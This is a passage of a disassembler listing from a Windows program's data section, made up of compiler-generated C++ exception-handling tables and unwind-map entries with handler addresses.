0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch dd 0Eh, 43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh dd 0 dd offset loc_439499 dd 0 dd offset loc_4394A4 dd 0 dd offset loc_4394B2 dd 0 ; --------------------------------------------------------------------------- rcl byte ptr [ebx+eax*2+1A00h], 0 retf ; --------------------------------------------------------------------------- db 94h, 43h, 0 dd 1Bh, 4394D6h, 0 dd offset loc_4394E1 dd 1Dh, 4394ECh, 0 dd offset loc_4394F7 dd 1Fh, 439502h, 0 dd offset loc_43950D dd 0 dd offset loc_439518 dd 0 dd offset loc_439523 dd 0 dd offset loc_43952E dd 0 dd offset loc_439539 dd 25h, 439544h, 26h, 43954Fh, 0 dd offset loc_43954F dd 28h, 439544h, 0 dd offset loc_43955A dd 0 dd offset loc_439565 dd 2Bh, 439570h, 2Ch, 43957Bh, 0 dd offset loc_43957B dd 2Eh, 439570h, 2Eh, 439586h, 0 dd offset loc_439591 dd 31h, 43959Ch, 0 dd offset loc_4395A7 dd 0 dd offset loc_4395B2 dd 34h, 4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0) dword_43FC10 dd 19930520h, 1, 43FC30h, 5 dup(0) dd 0FFFFFFFFh, 439670h, 2 dup(0) dword_43FC40 dd 19930520h, 1, 43FC60h, 5 dup(0) dd 0FFFFFFFFh, 439690h, 2 dup(0) dword_43FC70 dd 19930520h, 6, 43FC90h, 5 dup(0) dd 0FFFFFFFFh, 4396B0h, 0 dd offset loc_4396B8 dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0) dword_43FCC8 dd 19930520h, 6, 43FCE8h, 5 dup(0) dd 0FFFFFFFFh, 439710h, 0 dd offset loc_439718 dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0) dword_43FD20 dd 19930520h, 0Ah, 43FD40h, 5 dup(0) dd 0FFFFFFFFh, 439770h, 0FFFFFFFFh, 439778h, 0FFFFFFFFh dd 439780h, 0FFFFFFFFh, 439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh dd 439798h, 0FFFFFFFFh, 4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh dd 4397B0h, 0FFFFFFFFh, 4397B8h, 4 dup(0) dword_43FDA0 dd 19930520h, 0Eh, 43FDC0h, 5 dup(0) dd 0FFFFFFFFh, 4397E0h, 0 dd offset loc_4397E8 dd 0FFFFFFFFh, 4397F3h, 0FFFFFFFFh, 4397FBh, 0FFFFFFFFh dd 439803h, 0FFFFFFFFh, 43980Bh, 5, 439816h, 0FFFFFFFFh dd 43981Eh, 0FFFFFFFFh, 439826h, 0FFFFFFFFh, 43982Eh, 9 dd 439839h, 0FFFFFFFFh, 439841h, 0Bh, 439849h, 0Ch, 439851h dd 4 dup(0) dword_43FE40 dd 19930520h, 2, 43FE60h, 5 dup(0) dd 0FFFFFFFFh, 439898h, 0 dd offset loc_439890 dd 2 dup(0) dword_43FE78 dd 19930520h, 2, 43FE98h, 5 dup(0) dd 0FFFFFFFFh, 4398D0h, 0 dd offset loc_4398D8 align 10h dword_43FEB0 dd 19930520h, 1, 43FED0h, 5 dup(0) dd 0FFFFFFFFh, 4398F0h, 2 dup(0) dword_43FEE0 dd 19930520h, 7, 43FF00h, 5 dup(0) dd 0FFFFFFFFh, 439910h, 0 dd offset loc_439918 dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h dd 2 dup(0) dword_43FF40 dd 19930520h, 4, 43FF60h, 5 dup(0) dd 0FFFFFFFFh, 439970h, 0 dd offset loc_43997B dd 1, 439986h, 2, 439991h, 2 dup(0) dword_43FF88 dd 19930520h, 4, 43FFA8h, 5 dup(0) dd 0FFFFFFFFh, 4399C0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 99h, 43h, 0 dd 1, 4399D6h, 2, 4399E1h, 2 dup(0) dword_43FFD0 dd 19930520h, 2, 43FFF0h, 5 dup(0) dd 0FFFFFFFFh, 439A10h, 0FFFFFFFFh, 439A18h, 2 dup(0) dword_440008 dd 19930520h, 1, 440028h, 5 dup(0) dd 0FFFFFFFFh, 439A30h, 2 dup(0) dword_440038 dd 19930520h, 1, 440058h, 5 dup(0) dd 0FFFFFFFFh, 439A50h, 2 dup(0) dword_440068 dd 19930520h, 2, 440088h, 5 dup(0) dd 0FFFFFFFFh, 439A70h, 0 dd offset loc_439A78 align 10h dword_4400A0 dd 19930520h, 3, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439A90h, 0 dd offset loc_439A98 dd 1, 439AA3h, 2 dup(0) dword_4400E0 dd 19930520h, 3, 440100h, 5 dup(0) dd 0FFFFFFFFh, 439AD0h, 0 dd offset loc_439AD8 dd 1, 439AE0h, 2 dup(0) dword_440120 dd 19930520h, 1, 440140h, 5 dup(0) dd 0FFFFFFFFh, 439B00h, 2 dup(0) dword_440150 dd 19930520h, 4, 440170h, 5 dup(0) dd 0FFFFFFFFh, 439B20h, 0 dd offset loc_439B28 dd 0 dd offset loc_439B30 dd 0 dd offset loc_439B3B dd 2 dup(0) dword_440198 dd 19930520h, 6, 4401B8h, 5 dup(0) dd 0FFFFFFFFh, 439B60h, 0 dd offset loc_439B68 dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0) dword_4401F0 dd 19930520h, 3, 440210h, 5 dup(0) dd 0FFFFFFFFh, 439BB0h, 0 dd offset loc_439BBB dd 1, 439BC6h, 2 dup(0) dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439BF0h, 0 dd offset loc_439BF8 dd 1, 439C00h, 2, 439C08h, 2 dup(0) dword_440278 dd 19930520h, 5, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439C30h, 0 dd offset loc_439C38 dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0) dword_4402C8 dd 19930520h, 4, 4402E8h, 5 dup(0) dd 0FFFFFFFFh, 439C80h, 0 dd offset loc_439C88 dd 1, 439C93h, 2, 439C9Eh, 2 dup(0) dword_440310 dd 19930520h, 3, 440330h, 5 dup(0) dd 0FFFFFFFFh, 439CC0h, 0 dd offset loc_439CC8 dd 1, 439CD0h, 2 dup(0) dword_440350 dd 19930520h, 1, 440370h, 5 dup(0) dd 0FFFFFFFFh, 439CF0h, 2 dup(0) dword_440380 dd 19930520h, 2, 4403A0h, 5 dup(0) dd 0FFFFFFFFh, 439D10h, 0 dd offset loc_439D18 dd 2 dup(0) dword_4403B8 dd 19930520h, 2, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 0 dd offset loc_439D38 align 10h dword_4403F0 dd 19930520h, 3, 440410h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 0 dd offset loc_439D5B dd 1, 439D66h, 2 dup(0) dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439D90h, 2 dup(0) dword_440460 dd 19930520h, 1, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0) dword_440490 dd 19930520h, 4, 4404B0h, 5 dup(0) dd 0FFFFFFFFh, 439DD0h, 0 dd offset loc_439DD8 dd 1, 439DE3h, 2, 439DEEh, 2 dup(0) dword_4404D8 dd 19930520h, 7, 4404F8h, 5 dup(0) dd 0FFFFFFFFh, 439E10h, 0FFFFFFFFh, 439E18h, 0FFFFFFFFh dd 439E20h, 2, 439E28h, 3, 439E30h, 4, 439E38h, 0FFFFFFFFh dd 439E40h, 2 dup(0) dword_440538 dd 19930520h, 1Bh, 440558h, 5 dup(0) dd 0FFFFFFFFh, 439E70h, 0 dd offset loc_439E78 dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh, 0Dh, 439F2Bh, 0Eh dd 439F39h, 0Fh, 439F47h, 10h, 439F55h, 11h, 439F63h, 12h dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh, 15h, 439F9Bh, 16h dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h, 19h, 439FD3h, 6 dup(0) dword_440648 dd 19930520h, 1Bh, 440668h, 5 dup(0) dd 0FFFFFFFFh, 43A050h, 0 dd offset loc_43A058 dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh, 0Dh, 43A10Bh, 0Eh dd 43A119h, 0Fh, 43A127h, 10h, 43A135h, 11h, 43A143h, 12h dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh, 15h, 43A17Bh, 16h dd 43A189h, 17h, 43A197h, 18h, 43A1A5h, 19h, 43A1B3h, 6 dup(0) dword_440758 dd 19930520h, 1, 440778h, 5 dup(0) dd 0FFFFFFFFh, 43A230h, 2 dup(0) dword_440788 dd 19930520h, 3Dh, 4407A8h, 5 dup(0) dd 0FFFFFFFFh, 43A250h, 0 dd offset loc_43A25B dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h, 0Dh, 43A30Eh, 0Eh dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h, 11h, 43A346h, 12h dd 43A354h, 13h, 43A362h, 14h, 43A370h, 15h, 43A37Eh, 16h dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h, 19h, 43A3B6h, 1Ah dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h, 1Dh, 43A3EEh, 1Eh dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h, 21h, 43A426h, 22h dd 43A434h, 23h, 43A442h, 24h, 43A450h, 25h, 43A45Eh, 26h dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h, 29h, 43A496h, 2Ah dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h, 2Dh, 43A4CEh, 2Eh dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h, 31h, 43A506h, 32h dd 43A514h, 33h, 43A522h, 34h, 43A530h, 35h, 43A53Eh, 36h dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h, 39h, 43A576h, 3Ah dd 43A584h, 3Bh, 43A592h, 0Eh dup(0) dword_4409C8 dd 19930520h, 4, 4409E8h, 5 dup(0) dd 0FFFFFFFFh, 43A680h, 0 dd offset loc_43A68B dd 1, 43A696h, 2, 43A6A1h, 2 dup(0) dword_440A10 dd 19930520h, 6, 440A30h, 5 dup(0) dd 0FFFFFFFFh, 43A6D0h, 0 dd offset loc_43A6DB dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0) dword_440A68 dd 19930520h, 4, 440A88h, 5 dup(0) dd 0FFFFFFFFh, 43A740h, 0 dd offset loc_43A74E dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0) dword_440AB0 dd 19930520h, 5, 440AD0h, 5 dup(0) dd 0FFFFFFFFh, 43A7A0h, 0 dd offset loc_43A7AB dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0) dword_440B00 dd 19930520h, 5, 440B20h, 5 dup(0) dd 0FFFFFFFFh, 43A800h, 0 dd offset loc_43A80B dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0) dword_440B50 dd 19930520h, 1, 440B70h, 5 dup(0) dd 0FFFFFFFFh, 43A860h, 2 dup(0) dword_440B80 dd 19930520h, 1, 440BA0h, 5 dup(0) dd 0FFFFFFFFh, 43A880h, 2 dup(0) dword_440BB0 dd 19930520h, 1, 440BD0h, 5 dup(0) dd 0FFFFFFFFh, 43A8A0h, 2 dup(0) dword_440BE0 dd 19930520h, 2, 440C00h, 5 dup(0) dd 0FFFFFFFFh, 43A8C0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h, 43h, 0 dd 2 dup(0) dword_440C18 dd 19930520h, 4, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A8F0h, 0 dd offset loc_43A8FB dd 1, 43A906h, 2, 43A911h, 2 dup(0) dword_440C60 dd 19930520h, 4, 440C80h, 5 dup(0) dd 0FFFFFFFFh, 43A940h, 0 dd offset loc_43A94B dd 1, 43A956h, 2, 43A961h, 2 dup(0) dword_440CA8 dd 19930520h, 6, 440CC8h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 0 dd offset loc_43A99B dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0) dword_440D00 dd 19930520h, 4, 440D20h, 5 dup(0) dd 0FFFFFFFFh, 43AA00h, 0 dd offset loc_43AA0E dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0) dword_440D48 dd 19930520h, 5, 440D68h, 5 dup(0) dd 0FFFFFFFFh, 43AA60h, 0 dd offset loc_43AA6B dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0) dword_440D98 dd 19930520h, 5, 440DB8h, 5 dup(0) dd 0FFFFFFFFh, 43AAC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0AAh, 43h, 0 dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0) dword_440DE8 dd 19930520h, 1, 440E08h, 5 dup(0) dd 0FFFFFFFFh, 43AB20h, 2 dup(0) dword_440E18 dd 19930520h, 1, 440E38h, 5 dup(0) dd 0FFFFFFFFh, 43AB40h, 2 dup(0) dword_440E48 dd 19930520h, 1, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB60h, 2 dup(0) dword_440E78 dd 19930520h, 2, 440E98h, 5 dup(0) dd 0FFFFFFFFh, 43AB80h, 0 dd offset loc_43AB8B align 10h dword_440EB0 dd 19930520h, 4, 440ED0h, 5 dup(0) dd 0FFFFFFFFh, 43ABB0h, 0 dd offset loc_43ABBB dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0) dword_440EF8 dd 19930520h, 1, 440F18h, 5 dup(0) dd 0FFFFFFFFh, 43AC00h, 2 dup(0) dword_440F28 dd 19930520h, 2, 440F48h, 5 dup(0) dd 0FFFFFFFFh, 43AC20h, 0 dd offset loc_43AC2B align 10h dword_440F60 dd 19930520h, 1, 440F80h, 5 dup(0) dd 0FFFFFFFFh, 43AC50h, 2 dup(0) dword_440F90 dd 19930520h, 1, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 2 dup(0) dword_440FC0 dd 19930520h, 2, 440FE0h, 5 dup(0) dd 0FFFFFFFFh, 43AC90h, 0 dd offset loc_43AC9B dd 2 dup(0) dword_440FF8 dd 19930520h, 1, 441018h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 2 dup(0) dword_441028 dd 19930520h, 3, 441048h, 5 dup(0) dd 0FFFFFFFFh, 43ACE0h, 0 dd offset loc_43ACF7 dd 1, 43ACFFh, 2 dup(0) dword_441068 dd 19930520h, 1, 441088h, 5 dup(0) dd 0FFFFFFFFh, 43AD20h, 2 dup(0) dword_441098 dd 19930520h, 4, 4410B8h, 5 dup(0) dd 0FFFFFFFFh, 43AD48h, 0 dd offset sub_43AD40 dd 0 dd offset loc_43AD5F dd 2, 43AD67h, 2 dup(0) dword_4410E0 dd 19930520h, 6, 441100h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0FFFFFFFFh, 43AD98h, 0FFFFFFFFh dd 43ADA0h, 0FFFFFFFFh, 43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh dd 43ADB8h, 2 dup(0) dword_441138 dd 19930520h, 1Ah, 441158h, 5 dup(0) dd 0FFFFFFFFh, 43ADE0h, 0 dd offset loc_43ADEB dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0) dword_441240 dd 19930520h, 4, 441260h, 5 dup(0) dd 0FFFFFFFFh, 43AF70h, 0 dd offset loc_43AF78 dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0) dword_441288 dd 19930520h, 4, 4412A8h, 5 dup(0) dd 0FFFFFFFFh, 43AFB0h, 0 dd offset loc_43AFB8 dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0) dword_4412D0 dd 19930520h, 6, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 0 dd offset loc_43AFF8 dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0) dword_441328 dd 19930520h, 6, 441348h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0 dd offset loc_43B058 dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0) dword_441380 dd 19930520h, 6, 4413A0h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh dd 43B0C6h, 2, 43B0D1h, 3, 43B0DCh, 2, 43B0E7h, 2 dup(0) dword_4413D8 dd 19930520h, 3, 4413F8h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh dd 43B120h, 2 dup(0) dword_441418 dd 19930520h, 5, 441438h, 5 dup(0) dd 0FFFFFFFFh, 43B140h, 0FFFFFFFFh, 43B148h, 0FFFFFFFFh dd 43B150h, 0FFFFFFFFh, 43B158h, 0FFFFFFFFh, 43B160h, 2 dup(0) dword_441468 dd 19930520h, 0Ch, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B180h, 0 dd offset loc_43B188 dd 0FFFFFFFFh, 43B190h, 0FFFFFFFFh, 43B198h, 0FFFFFFFFh dd 43B1A0h, 0FFFFFFFFh, 43B1A8h, 5, 43B1B0h, 0FFFFFFFFh dd 43B1B8h, 0FFFFFFFFh, 43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh dd 43B1D0h, 0FFFFFFFFh, 43B1D8h, 4 dup(0) dword_4414F8 dd 19930520h, 2, 441518h, 1, 441528h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441540h, 4 dup(0) dd offset loc_41EE2C dd 2 dup(0) dword_441558 dd 19930520h, 0Ah, 441578h, 5 dup(0) dd 0FFFFFFFFh, 43B220h, 0 dd offset loc_43B22B dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0) dword_4415D8 dd 19930520h, 2, 4415F8h, 5 dup(0) dd 0FFFFFFFFh, 43B2C0h, 0 dd offset loc_43B2C8 align 10h dword_441610 dd 19930520h, 3, 441630h, 5 dup(0) dd 0FFFFFFFFh, 43B2E0h, 0FFFFFFFFh, 43B2EBh, 1, 43B2F6h dd 2 dup(0) dword_441650 dd 19930520h, 1, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B320h, 2 dup(0) dword_441680 dd 19930520h, 2, 4416A0h, 5 dup(0) dd 0FFFFFFFFh, 43B340h, 0 dd offset loc_43B34B dd 2 dup(0) dword_4416B8 dd 19930520h, 16h, 4416D8h, 5 dup(0) dd 0FFFFFFFFh, 43B370h, 0 dd offset loc_43B37B dd 0 dd offset loc_43B383 dd 0 dd offset loc_43B38B dd 3, 43B393h, 4, 43B39Bh, 0 dd offset loc_43B3A3 dd 6, 43B3ABh, 7, 43B3B3h, 0 dd offset loc_43B3BB dd 9, 43B3C3h, 0Ah, 43B3CBh, 0 dd offset loc_43B3D3 dd 0Ch, 43B3DBh, 0Dh, 43B3E3h, 0 dd offset loc_43B3EB dd 0Fh, 43B3F3h, 0 dd offset loc_43B3FB dd 11h, 43B403h, 0 dd offset loc_43B40B dd 13h, 43B413h, 13h, 43B41Bh, 6 dup(0) dword_4417A0 dd 19930520h, 1, 4417C0h, 5 dup(0) dd 0FFFFFFFFh, 43B460h, 2 dup(0) dword_4417D0 dd 19930520h, 1, 4417F0h, 5 dup(0) dd 0FFFFFFFFh, 43B490h, 2 dup(0) dword_441800 dd 19930520h, 5, 441820h, 5 dup(0) dd 0FFFFFFFFh, 43B4C0h, 0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh dd 43B4D0h, 0FFFFFFFFh, 43B4D8h, 0FFFFFFFFh, 43B4E0h, 2 dup(0) dword_441850 dd 19930520h, 0Bh, 441870h, 5 dup(0) dd 0FFFFFFFFh, 43B500h, 0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh dd 43B521h, 0FFFFFFFFh, 43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh dd 43B542h, 0FFFFFFFFh, 43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh dd 43B563h, 0FFFFFFFFh, 43B56Eh, 0FFFFFFFFh, 43B516h, 4 dup(0) dword_4418D8 dd 19930520h, 5, 4418F8h, 5 dup(0) dd 0FFFFFFFFh, 43B5B0h, 0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh dd 43B5C0h, 0FFFFFFFFh, 43B5C8h, 0FFFFFFFFh, 43B5D0h, 2 dup(0) dword_441928 dd 19930520h, 15h, 441948h, 5 dup(0) dd 0FFFFFFFFh, 43B5F0h, 0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh dd 43B603h, 0FFFFFFFFh, 43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh dd 43B61Bh, 0FFFFFFFFh, 43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh dd 43B636h, 0FFFFFFFFh, 43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh dd 43B651h, 0FFFFFFFFh, 43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh dd 43B669h, 0FFFFFFFFh, 43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh dd 43B684h, 0FFFFFFFFh, 43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh dd 43B69Ch, 6 dup(0) dword_441A08 dd 19930520h, 1, 441A28h, 5 dup(0) dd 0FFFFFFFFh, 43B6E0h, 2 dup(0) dword_441A38 dd 19930520h, 5, 441A58h, 5 dup(0) dd 0FFFFFFFFh, 43B700h, 0 dd offset loc_43B708 dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0) dword_441A88 dd 19930520h, 5, 441AA8h, 5 dup(0) dd 0FFFFFFFFh, 43B750h, 0 dd offset loc_43B758 dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0) dword_441AD8 dd 19930520h, 1, 441AF8h, 5 dup(0) dd 0FFFFFFFFh, 43B7A0h, 2 dup(0) dword_441B08 dd 19930520h, 1, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43B7C0h, 2 dup(0) dword_441B38 dd 19930520h, 1, 441B58h, 5 dup(0) dd 0FFFFFFFFh, 43B7E0h, 2 dup(0) dword_441B68 dd 19930520h, 1, 441B88h, 5 dup(0) dd 0FFFFFFFFh, 43B800h, 2 dup(0) dword_441B98 dd 19930520h, 1, 441BB8h, 5 dup(0) dd 0FFFFFFFFh, 43B820h, 2 dup(0) dword_441BC8 dd 19930520h, 1, 441BE8h, 5 dup(0) dd 0FFFFFFFFh, 43B840h, 2 dup(0) dword_441BF8 dd 19930520h, 1, 441C18h, 5 dup(0) dd 0FFFFFFFFh, 43B860h, 2 dup(0) dword_441C28 dd 19930520h, 1, 441C48h, 5 dup(0) dd 0FFFFFFFFh, 43B880h, 2 dup(0) dword_441C58 dd 19930520h, 6, 441C78h, 5 dup(0) dd 0FFFFFFFFh, 43B8A0h, 0 dd offset loc_43B8A8 dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0) dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43B900h, 0 dd offset loc_43B908 dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0) dword_441D08 dd 19930520h, 3, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43B960h, 0 dd offset loc_43B968 dd 1, 43B976h, 2 dup(0) dword_441D48 dd 19930520h, 16h, 441D68h, 5 dup(0) dd 0FFFFFFFFh, 43B9A0h, 0 dd offset loc_43B9AB dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah dd 43BA19h, 2, 43BA24h, 0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh, 0Fh, 43BA66h, 0Fh dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h, 6 dup(0) dword_441E30 dd 19930520h, 1, 441E50h, 5 dup(0) dd 0FFFFFFFFh, 43BAE0h, 2 dup(0) dword_441E60 dd 19930520h, 1, 441E80h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 2 dup(0) dword_441E90 dd 19930520h, 1, 441EB0h, 5 dup(0) dd 0FFFFFFFFh, 43BB20h, 2 dup(0) dword_441EC0 dd 19930520h, 1, 441EE0h, 5 dup(0) dd 0FFFFFFFFh, 43BB40h, 2 dup(0) dword_441EF0 dd 19930520h, 1, 441F10h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0) dword_441F20 dd 19930520h, 2, 441F40h, 1, 441F50h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441F68h, 4 dup(0) dd offset loc_42AF54 align 10h dword_441F80 dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441FC8h, 4 dup(0) dd offset loc_42B031 align 10h dword_441FE0 dd 19930520h, 3, 442000h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 0 dd offset loc_43BBA8 dd 1, 43BBB0h, 2 dup(0) dword_442020 dd 19930520h, 1, 442040h, 5 dup(0) dd 0FFFFFFFFh, 43BBE0h, 2 dup(0) dword_442050 dd 19930520h, 1, 442070h, 5 dup(0) dd 0FFFFFFFFh, 43BC00h, 2 dup(0) dword_442080 dd 19930520h, 1, 4420A0h, 5 dup(0) dd 0FFFFFFFFh, 43BC20h, 2 dup(0) dword_4420B0 dd 19930520h, 1, 4420D0h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 2 dup(0) dword_4420E0 dd 19930520h, 1, 442100h, 5 dup(0) dd 0FFFFFFFFh, 43BC60h, 2 dup(0) dword_442110 dd 19930520h, 6, 442130h, 5 dup(0) dd 0FFFFFFFFh, 43BC80h, 0FFFFFFFFh, 43BC88h, 0FFFFFFFFh dd 43BC90h, 0FFFFFFFFh, 43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh dd 43BCA8h, 2 dup(0) dword_442168 dd 19930520h, 16h, 442188h, 5 dup(0) dd 0FFFFFFFFh, 43BCD0h, 0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh dd 43BCE3h, 0FFFFFFFFh, 43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh dd 43BCFEh, 0FFFFFFFFh, 43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh dd 43BD16h, 0FFFFFFFFh, 43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh dd 43BD31h, 0FFFFFFFFh, 43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch, 0Eh, 43BD64h, 0Eh dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch, 0Eh, 43BD7Ch, 6 dup(0) dword_442250 dd 19930520h, 2, 442270h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0FFFFFFFFh, 43BDC8h, 2 dup(0) dword_442288 dd 19930520h, 2, 4422A8h, 5 dup(0) dd 0FFFFFFFFh, 43BDE0h, 0 dd offset loc_43BDEB align 10h dword_4422C0 dd 19930520h, 1, 4422E0h, 5 dup(0) dd 0FFFFFFFFh, 43BE10h, 2 dup(0) dword_4422F0 dd 19930520h, 2, 442310h, 5 dup(0) dd 0FFFFFFFFh, 43BE30h, 0FFFFFFFFh, 43BE38h, 2 dup(0) dword_442328 dd 19930520h, 0Ah, 442348h, 5 dup(0) dd 0FFFFFFFFh, 43BE50h, 0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh dd 43BE66h, 0FFFFFFFFh, 43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh dd 43BE87h, 0FFFFFFFFh, 43BE92h, 0FFFFFFFFh, 